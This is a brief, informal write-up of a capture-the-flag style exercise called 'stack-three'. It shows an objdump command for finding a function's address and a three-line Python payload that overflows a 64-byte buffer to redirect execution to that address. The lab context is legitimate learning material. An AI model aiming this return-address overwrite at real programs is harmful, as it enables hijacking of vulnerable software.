Stackthree
This one was relatively easier with lesser embarassment :P
So first thing to do is use objdump to disassemble the code and find the function locations.
objdump -D -M intel ./stack-three
With this we find out the offset of our function and then we simply had to overflow it to
that location to get it sorted and executed.
Code
padding = 'A'*64
offset = '\x00\x40\x06\x9d'
print(padding+offset[::-1])

No flags in here :P
